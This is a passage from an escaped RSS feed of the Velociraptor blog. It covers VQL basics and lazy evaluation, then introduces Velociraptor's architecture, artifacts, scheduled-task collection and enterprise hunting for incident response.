table.&lt;/p&gt;&#xA;&lt;p&gt;When you create a new notebook, the first cell will be of type markdown. You can add a VQL cell below that by simply selecting Add VQL cell from the toolbar.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-06-14-the-velociraptor-query-language-pt-1-d721bff100bf/../../img/1bqFDmsEFrvkpE8BGmMi2Tg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;A VQL cell allows one to simply write VQL queries into the notebook. Note that VQL queries in the notebook are actually running on the server itself. It is therefore possible to control and automate the server using VQL (we will see this in a later article).&lt;/p&gt;&#xA;&lt;p&gt;For now simply write the following query and click the save icon.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;SELECT * FROM info()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-06-14-the-velociraptor-query-language-pt-1-d721bff100bf/../../img/1VIwIVaEUGr16yQlEUy-K9A.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;When you finish writing your VQL query, click the “Save” button to update the notebook cell and recalculate the table.&lt;/p&gt;&#xA;&lt;p&gt;You have just written your first VQL query!&lt;/p&gt;&#xA;&lt;p&gt;One important thing to note is that the output of a query is always a table. The GUI will render the table in the VQL cell. The table will always return a sequence of rows, each row being a simple collection of columns. You can think of a row as simply a python dictionary with keys being the column names and values being arbitrary objects.&lt;/p&gt;&#xA;&lt;h3 id=&#34;vql-basics&#34;&gt;VQL Basics&lt;/h3&gt;&#xA;&lt;p&gt;VQL was designed to be easy to use and simple to understand. It is also based on SQL but does not support more complex SQL constructs like joins. The basic statement in VQL looks like this:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-06-14-the-velociraptor-query-language-pt-1-d721bff100bf/../../img/1lkLMfTJJDPVUtw1fsBPUEQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;VQL queries start with the SELECT keyword, and are then followed by a list of “Column Selectors” which specify the columns that will be emitted. A VQL query can also have a WHERE clause — representing a filter which the row must pass before it is emitted.&lt;/p&gt;&#xA;&lt;p&gt;One of the biggest differences between VQL and SQL is the use of parameters given to plugins. SQL was designed to operate on static data tables, however, in VQL, data sources are not static — they are actually plugins which generate rows when called (for example &lt;em&gt;pslist()&lt;/em&gt; is a plugin which returns one process per row).&lt;/p&gt;&#xA;&lt;p&gt;Since plugins run code, it makes sense that they would accept arguments just like functions. Therefore in VQL plugins receive keyword arguments. VQL does not support positional arguments — all arguments are named. In the GUI pressing “?” inside a plugin will suggest all the keywords the plugin accepts so it is really easy to find the names for a plugin’s arguments.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-06-14-the-velociraptor-query-language-pt-1-d721bff100bf/../../img/1LhnuM1rFwDIhJelj4wN2AA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;VQL Plugins generate rows, but what exactly is a row? Unlike SQL which deals with simple data types, a VQL row can be thought of as a mapping (i.e. python dictionary or a JSON object) where keys are the column names, and values can take on simple types like integers, strings, as well as complex types like other objects, timestamps etc.&lt;/p&gt;&#xA;&lt;p&gt;You can see the raw data for each row in the table by clicking the “Show Raw JSON” button (Looks like binoculars) in the table GUI. For example, for the above query we can see the raw data as below.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-06-14-the-velociraptor-query-language-pt-1-d721bff100bf/../../img/1qCKk06PkMDt79-X9Vu8K8Q.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In our case the &lt;strong&gt;info()&lt;/strong&gt; plugin generated a single row with information about the running platform. The raw data consists of a list of JSON objects — each object represents a single row. Rows have column names and each column may contain different data.&lt;/p&gt;&#xA;&lt;h3 id=&#34;lazy-vql&#34;&gt;Lazy VQL&lt;/h3&gt;&#xA;&lt;p&gt;One interesting aspect of VQL is lazy evaluation. Since VQL functions can be expensive or have side effects it is important to understand how they are evaluated. In the following discussion we will illustrate this by use of the &lt;strong&gt;log()&lt;/strong&gt; VQL function — this function simply emits a logging message (you can think of it as the VQL equivalent of &lt;strong&gt;print&lt;/strong&gt;).&lt;/p&gt;&#xA;&lt;p&gt;Let us modify the above query to simply log a simple message “I ran!”&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-06-14-the-velociraptor-query-language-pt-1-d721bff100bf/../../img/1-k1KllnlrUkKBgiLO3FvvQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The GUI renders query logs in red under the table. As we can see the log() function evaluated to &lt;strong&gt;true&lt;/strong&gt; and a side effect was logging a message.&lt;/p&gt;&#xA;&lt;p&gt;It is best to understand how lazy evaluation works by looking at examples. Consider the following example:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-06-14-the-velociraptor-query-language-pt-1-d721bff100bf/../../img/10XsMrQaOdDrFlzUH-LPjqw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In this query we add another column to the output of the info() plugin called “Log” which contains the **log() **function. We then use this column in the WHERE clause. Since the log() function always returns true, the row will pass the filter and be emitted, as well as a log message printed.&lt;/p&gt;&#xA;&lt;p&gt;What happens however, if the row is filtered out? Let us change this query to be filtered only if the OS is windows (this query is running on Linux).&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-06-14-the-velociraptor-query-language-pt-1-d721bff100bf/../../img/1-k3j8cbSXKjB-RLQcBgYew.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Since no rows are emitted, the log() function is never evaluated! Therefore we got no logging message. Notice how the log() function is evaluated lazily — since the output is not needed since the row is filtered out.&lt;/p&gt;&#xA;&lt;p&gt;Let’s now change the query to consider the Log column in the WHERE clause&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-06-14-the-velociraptor-query-language-pt-1-d721bff100bf/../../img/1d0mjp1CUCjGbwuj8NB25Lw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Because the WHERE clause needs to evaluate the column “Log” the log() function will be evaluated first — even though the row is ultimately eliminated, we still receive a log message!&lt;/p&gt;&#xA;&lt;p&gt;VQL evaluates a logical expression in a lazy manner — the left hand side of the AND clause is evaluated, and if true the right hand side is evaluated.&lt;/p&gt;&#xA;&lt;p&gt;Let’s swap the order of the AND clause&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-06-14-the-velociraptor-query-language-pt-1-d721bff100bf/../../img/12NQXdVa7w_OaecjNXpzm2Q.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This time the row is eliminated by the left hand condition (OS = “Windows”) and VQL does not need to evaluate the Log column at all! Hence we get no logging message.&lt;/p&gt;&#xA;&lt;h3 id=&#34;using-laziness-in-practice&#34;&gt;Using laziness in practice&lt;/h3&gt;&#xA;&lt;p&gt;The previous discussion was rather theoretical but how would you use this behavior in reality? When we write VQL it is important to bear in mind how expensive we believe each operation would be.&lt;/p&gt;&#xA;&lt;p&gt;For example consider the &lt;strong&gt;hash()&lt;/strong&gt; function which calculates a hash of a file when evaluated. Suppose we were looking for a particular file with a known hash in the &lt;strong&gt;/usr/bin&lt;/strong&gt; directory.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-06-14-the-velociraptor-query-language-pt-1-d721bff100bf/../../img/1V-alj2p3P3hr5HPYYxM1wg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This query is rather expensive — we have to hash every single file in the directory and compare that to our malicious hash (In VQL &lt;strong&gt;=~&lt;/strong&gt; is the regex match operator). If the directory is large, or we search through many directories, this can take many minutes!&lt;/p&gt;&#xA;&lt;p&gt;Instead we can leverage the lazy evaluation property to make the query far more efficient by considering other attributes of the file which are quicker to calculate&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-06-14-the-velociraptor-query-language-pt-1-d721bff100bf/../../img/13_nBDC6EonDZuLmZZXvzgg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This revised query is almost instant! We only really hash those files whose size is exactly 499 bytes and never hash any of the other files which are not the ones we are looking for!&lt;/p&gt;&#xA;&lt;p&gt;We can now encode this VQL query in an artifact, and launch it as a hunt on our entire deployment. This low cost, almost instant hunt is well suited for very wide deployment without fear of adverse effects on endpoint performance.&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h2&gt;&#xA;&lt;p&gt;VQL is a very powerful way of searching for specific indicators on the end point. A good working knowledge of VQL pays dividends to the DFIR hunter. This first part in our series of articles about VQL internals hopes to provide you with the tools and confidence to forge your own VQL queries. In the next article we explore VQL’s control structures such as &lt;strong&gt;if()&lt;/strong&gt;, &lt;strong&gt;foreach()&lt;/strong&gt; and &lt;strong&gt;switch()&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If you want to know more about Velociraptor, VQL and how to use it effectively to hunt across the enterprise, consider enrolling for the next available training course at &lt;a href=&#34;https://www.velocidex.com/training/&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/training/&lt;/a&gt;.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Velociraptor</title>
      <link>https://www.velociraptor-docs.org/blog/2020/2020-04-16-velociraptor-e48a47e0317d/</link>
      <pubDate>Thu, 16 Apr 2020 00:38:44 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2020/2020-04-16-velociraptor-e48a47e0317d/</guid>
      <description>&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-04-16-velociraptor-e48a47e0317d/../../img/0FQfmIrDiAxOjGNSO.jpg&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This is an introductory article explaining the rationale behind Velociraptor’s design and particularly how Velociraptor evolved with some historical context compared with other DFIR tooling. We took a lot of inspiration and learned many lessons by using other great tools, and Velociraptor is our attempt at pushing the field forward.&lt;/p&gt;&#xA;&lt;p&gt;Digital forensics is primarily focused on answering questions. Most practitioners limit their cases around high level questions, such as did the user access a particular file? Was malware run on the user’s workstation? Did an attacker crack an account?&lt;/p&gt;&#xA;&lt;p&gt;Over the years, DFIR practitioners have developed and refined methodologies for answering such questions. For example, by examining the timestamps stored in the NTFS filesystem we are able to build a timeline tracing an intruders path through the network. These methodologies are often encoded informally in practitioners’ experience and training. Wouldn’t it be great to have a way to formally document and encode these methodologies?&lt;/p&gt;&#xA;&lt;p&gt;In many digital evidence based cases, time is of the essence. The forensic practitioner is looking to answer questions quickly and efficiently, since the amount and size of digital evidence is increasing with every generation of new computing devices. We now see the emergence of triage techniques to quickly classify a machine as worthy of further forensic analysis. When triaging a system, the practitioner has to be surgical in their approach — examining specific artifacts before even acquiring the hard disk or memory.&lt;/p&gt;&#xA;&lt;p&gt;Triaging is particularly prevalent in enterprise incident response. In this scenario it is rare for legal prosecution to take place, instead the enterprise is interested in quickly containing the incident and learning of possible impacts. As part of this analysis, the practitioner may need to triage many thousands of machines to find those machines who were compromised, avoiding the acquisition of bit-for-bit forensically sound images.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-rise-of-the-endpoint-dfir-agent&#34;&gt;The rise of the endpoint DFIR agent&lt;/h2&gt;&#xA;&lt;p&gt;This transition from traditional forensic techniques to highly scalable distributed analysis has resulted in multiple offering of endpoint agents. An agent is specialized software running on enterprise endpoints providing forensic analysis and telemetry to central servers. This architectures enables detection of attackers from different endpoints as they traverse through the network and provides a more distributed detection coverage for more assets simultaneously.&lt;/p&gt;&#xA;&lt;p&gt;One of the first notable endpoint agents was &lt;a href=&#34;https://github.com/google/grr&#34; target=&#34;_blank&#34; &gt;GRR&lt;/a&gt;, a Google internal project open sourced around 2012. GRR is an agent installed on many endpoints controlled by a central server. The agent is able to perform some low level forensic analysis by incorporating other open source tools such as the &lt;a href=&#34;https://www.sleuthkit.org/&#34; target=&#34;_blank&#34; &gt;Sleuthkit&lt;/a&gt; and &lt;a href=&#34;http://www.rekall-forensic.com/&#34; target=&#34;_blank&#34; &gt;The Rekall Memory forensic suite&lt;/a&gt;. The GRR framework was one of the first to offer the concept of hunting — actively seeking forensic anomalies on many endpoints at the same time. For the first time, analysts could pose a question — such as “Which endpoints contain this registry key”, to thousands of endpoints at once, and receive an answer within hours.&lt;/p&gt;&#xA;&lt;p&gt;Hunting is particularly useful for rapid triaging — we can focus our attention only on those machines which show potential signs of compromise. GRR also provides interactive remote access to the endpoint, allowing for user inspection of the endpoint (such as interactively examining files, directories and registry keys).&lt;/p&gt;&#xA;&lt;p&gt;As useful as GRR’s approach was at the time, there were some shortfalls, mainly around lack of flexibility and limited scale and performance. GRR features are built into the agent making it difficult to rapidly push new code updates or new capabilities in response to changing needs. It is also difficult to control the amount of data transferred from the endpoint which often ends up being much too detailed than necessary, leading to performance issues on the server.&lt;/p&gt;&#xA;&lt;p&gt;The next breakthrough in the field was the release of &lt;a href=&#34;https://osquery.io/&#34; target=&#34;_blank&#34; &gt;Facebook’s OSQuery&lt;/a&gt;. This revolutionary tool allows one to query the endpoints using a SQL like syntax query. By querying the endpoint, it is possible to adapt the results sent, apply arbitrary filtering and combine different modules in new creative ways. OSQuery’s approach proved to be very flexible in the rapidly evolving stages of incident response, where users need to modify their queries rapidly in response to emerging needs.&lt;/p&gt;&#xA;&lt;h2 id=&#34;introducing-velociraptor&#34;&gt;Introducing Velociraptor&lt;/h2&gt;&#xA;&lt;p&gt;Learning from these early projects, &lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt;Velociraptor&lt;/a&gt; was released in 2019. Similar to GRR, Velociraptor also allows for hunting across many thousands of machines. Inspired by OSQuery, Velociraptor implements a new query language dubbed VQL (Velociraptor Query Language) which is similar to SQL but extends the query language in a more powerful way. Velociraptor also emphasizes ease of installation and very low latency — typically collecting artifacts from thousands of endpoints in a matter of seconds.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-04-16-velociraptor-e48a47e0317d/../../img/0PCWOhCGjc7eeNXig&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Figure 1&lt;/strong&gt; above shows an overview of the Velociraptor architecture. The Velociraptor server maintains communications with the endpoint agents (called Clients) for command and control. The web based administration user interface is used to task individual clients, run hunts and collect data.&lt;/p&gt;&#xA;&lt;p&gt;Ultimately, Velociraptor agents are simply VQL engines — all tasks to the agent are simply VQL queries that the engine executes. VQL queries, just like database queries, result in a table, with columns (as dictated by the query) and multiple rows. The agent will execute the query, and send back the results to the server which simply stores them as files. This approach means the server is not really processing the results other than just storing them in files. Therefore the load on the server is minimal allowing for vastly scalable performance.&lt;/p&gt;&#xA;&lt;h2 id=&#34;velociraptor-artifacts&#34;&gt;Velociraptor artifacts&lt;/h2&gt;&#xA;&lt;p&gt;Writing free-form queries is a powerful tool, but from a user experience perspective, it is not ideal. Users will need to remember potentially complex queries. Velociraptor solves this by implementing “&lt;a href=&#34;https://www.velocidex.com/docs/artifacts/&#34; target=&#34;_blank&#34; &gt;**Artifacts&lt;/a&gt;**”. An artifact is a text file written in YAML which encapsulates the VQL, adds some human readable descriptions and provides some parameters allowing users to customize the operation of the artifact to some extent.&lt;/p&gt;&#xA;&lt;p&gt;As an example of this process, we consider the &lt;a href=&#34;https://docs.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page&#34; target=&#34;_blank&#34; &gt;Windows Scheduled Tasks&lt;/a&gt;. These tasks are often added by attackers as a way of gaining persistence and a backdoor to a compromised system (See Att&amp;amp;ck Matrix &lt;a href=&#34;https://attack.mitre.org/techniques/T1053/&#34; target=&#34;_blank&#34; &gt;T1053&lt;/a&gt;). Velociraptor can collect and analyse these tasks if provided with the appropriate VQL query. By writing the query into an artifact we make it possible for other users to simply re-use our VQL.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-04-16-velociraptor-e48a47e0317d/../../img/0ZUoUfr0Mk8LOSn_Z&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Figure 2&lt;/strong&gt; shows the &lt;strong&gt;Windows.System.TaskScheduler&lt;/strong&gt; artifact as viewed in the GUI. The artifact contains some user readable background information, parameters and the VQL source. As &lt;strong&gt;Figure 3&lt;/strong&gt; below shows, in the GUI, one simply needs to search for the scheduled tasks artifact, select it and collect it from the endpoint.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-04-16-velociraptor-e48a47e0317d/../../img/000bPLfksaHxbLxxp&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;As soon as we issue the collection request, the client will run the VQL query, and send the result to the server within seconds. If the agent is not online at the time of the query, the task will be queued on the server until the endpoint comes back online, at which time the artifact will be collected immediately.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-04-16-velociraptor-e48a47e0317d/../../img/027ICJSb6akkcUGoL&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Figure 4&lt;/strong&gt; shows the result of this collection. We see the agent took 5 seconds to upload the 180 scheduled task XML files, which took a total of 5.7mb. We can click the “&lt;strong&gt;Prepare Download&lt;/strong&gt;” button now to prepare a zip file containing these files for export. We can then download the Zip file through the GUI and store it as evidence as required.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-04-16-velociraptor-e48a47e0317d/../../img/08NHoafuoVUvkN5i1&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Figure 5&lt;/strong&gt; shows the results from this artifact. The VQL query also instructed the endpoint to parse the XML files on the endpoint and extract the launched command directly. It is now possible to quickly triage all the scheduled tasks looking for unusual or suspicious tasks. The exported Zip file will also contain the CSV files produced by this analysis and can be processed using any tool that supports CSV formatted data (e.g. Excel, MySQL or Elastic through Logstash).&lt;/p&gt;&#xA;&lt;h2 id=&#34;hunting-with-velociraptor&#34;&gt;Hunting with Velociraptor&lt;/h2&gt;&#xA;&lt;p&gt;Continuing our example of scheduled tasks, we now wish to hunt for these across the entire enterprise. This captures the state of the deployment at a point in time when the hunt was collected and allows us to go back and see which new scheduled tasks appeared at a later point in time.&lt;/p&gt;&#xA;&lt;p&gt;Hunting is simply a way to collect the same artifact from many machines at the same time. The GUI simply packages the results from these collections into a single exported file.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-04-16-velociraptor-e48a47e0317d/../../img/099cPv4K_gBkZ2-CL&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Figure 7&lt;/strong&gt; shows a hunt created to collect the &lt;strong&gt;Windows.System.TaskScheduler&lt;/strong&gt; artifact. We can see the total number of clients scheduled and completed and that the hunt will expire in one week. If new machines appear within this time, they will also have that artifact collected. Finally we can prepare an export zip file for download that contains all the client’s collected artifacts.&lt;/p&gt;&#xA;&lt;h2 id=&#34;forensic-analysis-on-the-endpoint&#34;&gt;Forensic analysis on the endpoint&lt;/h2&gt;&#xA;&lt;p&gt;To be really effective, Velociraptor implements many forensic capabilities directly on the endpoint. This allows for writing artifacts that can leverage this analysis, either in a surgical way — identifying directly the relevant data, or in order to enrich the results by automatically providing more context to the analyst. In this section we examine some of these common use cases and see how they can be leveraged through use of artifacts.&lt;/p&gt;&#xA;&lt;h2 id=&#34;searching-for-files&#34;&gt;Searching for files&lt;/h2&gt;&#xA;&lt;p&gt;A common task for analysts is to search for particular filenames. For example, in a drive by download or phishing email case, we already know in advance the name of the dropped file and we simply want to know if the file exists on any of our endpoints.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;strong&gt;Windows.Search.FileFinder&lt;/strong&gt; artifact is designed to search for various files by filename. &lt;strong&gt;Figure 8&lt;/strong&gt; below illustrates the parameters that can be used to customize the collection. For a typical drive-by download, we might want to search for all binaries downloaded recently within the user’s home directories. We can also collect matching files centrally to further analyse those binaries. The artifact also allows us to filter by keywords appearing within file contents.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-04-16-velociraptor-e48a47e0317d/../../img/0lxWTbRpxhE7iGO51&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-04-16-velociraptor-e48a47e0317d/../../img/0a7nLLP77dcFHcjPl&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Searching for files is a very common operation which covers many of the common use cases, but it is limited to finding files that are not currently deleted. Velociraptor also includes a complete NTFS filesystem parser available through a VQL plugin. This allows us to extract low level information from every MFT entry.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img 